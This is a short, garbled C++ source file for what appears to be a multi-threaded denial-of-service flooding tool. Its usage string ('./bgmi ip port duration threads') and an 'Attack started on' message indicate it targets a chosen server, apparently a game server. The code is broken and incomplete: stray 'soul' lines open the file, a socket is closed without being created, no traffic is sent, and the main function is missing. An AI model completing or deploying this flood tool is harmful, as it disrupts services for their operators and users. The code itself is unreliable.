soul
soul
soul
#include <cstdlib>
#include <cstring>
#include <arpa/inet.h>
#include <pthread.h>
#include <ctime>
#include <csignal>
#include <vector>
#include <memory>
#ifdef _WIN32
#include <windows.h>
void usleep(int duration) { Sleep(duration / 1000); }
#else
#include <unistd.h>
#endif
#define PAYLOAD_SIZE 20
class Attack {
public:
Attack(const std::string& ip, int port, int duration)
: ip(ip), port(port), duration(duration) {}
void attack_thread() {
int sock;
struct sockaddr_in server_addr;
time_t endtime;
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
server_addr.sin_addr.s_addr = inet_addr(ip.c_str());
close(sock);
}
private:
std::string ip;
int port;
int duration;
};
void usage() {
std::cout << "Usage: ./bgmi ip port duration threads\n";
exit(1);
}
std::string ip = argv[1];
int port = std::atoi(argv[2]);
int duration = std::atoi(argv[3]);
int threads = std::atoi(argv[4]);
std::signal(SIGINT, handle_sigint);
std::vector<pthread_t> thread_ids(threads);
std::vector<std::unique_ptr<Attack>> attacks;
std::cout << "Attack started on " << ip << ":" << port << " for " << duration
<< " seconds with " << threads << " threads\n";